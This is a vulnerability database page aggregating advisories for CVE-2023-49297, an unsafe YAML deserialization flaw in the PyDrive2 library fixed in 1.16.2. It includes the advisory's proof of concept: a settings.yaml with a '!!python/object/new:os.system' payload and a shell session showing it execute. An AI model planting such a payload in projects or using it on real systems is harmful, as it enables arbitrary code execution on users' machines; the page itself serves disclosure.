CVE-2023-49297
Unsafe YAML deserialization in PyDrive2
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.3
Unsafe YAML deserialization in PyDrive2
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2023-49297- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2023-0292
3.3
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
EUVD-2023-0292- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-v5f6-hjmf-9mc5
3.3
PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yamlfile:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuthobject .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
- Record
GHSA-v5f6-hjmf-9mc5- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
3.3
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2023-49297- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
3.3
Unsafe YAML deserialization in PyDrive2
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2023-49297- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-v5f6-hjmf-9mc5
3.3
PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yamlfile:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuthobject .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
- Record
GHSA-v5f6-hjmf-9mc5- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-502
- Updated
- 2026-11-02
Show 4 moreShow less
OSVPYSEC-2023-291
7.8
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
PYSEC-2023-291- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-49297
3.3
PyDrive2 is a wrapper library of google-api-python-client that simplifies many common Google Drive API V2 tasks. Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile. This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. This vulnerability does not require the file to be directly loaded through the code, only present. This issue has been addressed in commit c57355dc which is included in release version 1.16.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
UBUNTU-CVE-2023-49297- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2024:13493-1 No score
python310-pydrive2-1.16.2-1.1 on GA media
These are all security issues fixed in the python310-pydrive2-1.16.2-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:13493-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12030-1 No score
python313-pydrive2-1.18.1-2.4 on GA media
These are all security issues fixed in the python313-pydrive2-1.18.1-2.4 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12030-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pydrive2PyPI |
1.17.0 to 1.17.0 | None known |
pydrive2PyPI |
before 1.16.2 | 1.16.2 |
pydrive2PyPI |
Listed versions 1.17.0 |
None known |
pydrive2PyPI |
before 1.16.2, plus listed versions 0.14.01.10.01.10.11.10.21.11.0 Show 43 moreShow less1.11.11.11.21.12.01.12.11.13.01.14.01.15.01.15.11.15.21.15.31.15.41.16.01.16.11.4.01.4.11.4.101.4.111.4.121.4.131.4.141.4.21.4.41.4.51.4.61.4.71.4.81.4.91.6.01.6.11.6.21.6.31.7.01.7.21.7.31.8.01.8.11.8.21.8.31.9.01.9.11.9.21.9.31.9.4 |
1.16.2 |
pydrive2Ubuntu:24.04:LTS |
All versions, plus listed versions 1.15.0-3 |
None known |
pydrive2Ubuntu:25.10 |
All versions, plus listed versions 1.20.0-1 |
None known |
python-pydrive2openSUSE:Tumbleweed |
before 1.18.1-2.4 | 1.18.1-2.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-49297 is a low vulnerability (CVSS 3.3) in Iterative Pydrive2, published December 5, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in pydrive2 1.16.2.
References
github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5
github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004
lists.fedoraproject.org/archives/list/[email protected]/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG
lists.fedoraproject.org/archives/list/[email protected]/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW
nvd.nist.gov/vuln/detail/CVE-2023-49297
github.com/pypa/advisory-database/tree/main/vulns/pydrive2/PYSEC-2023-291.yaml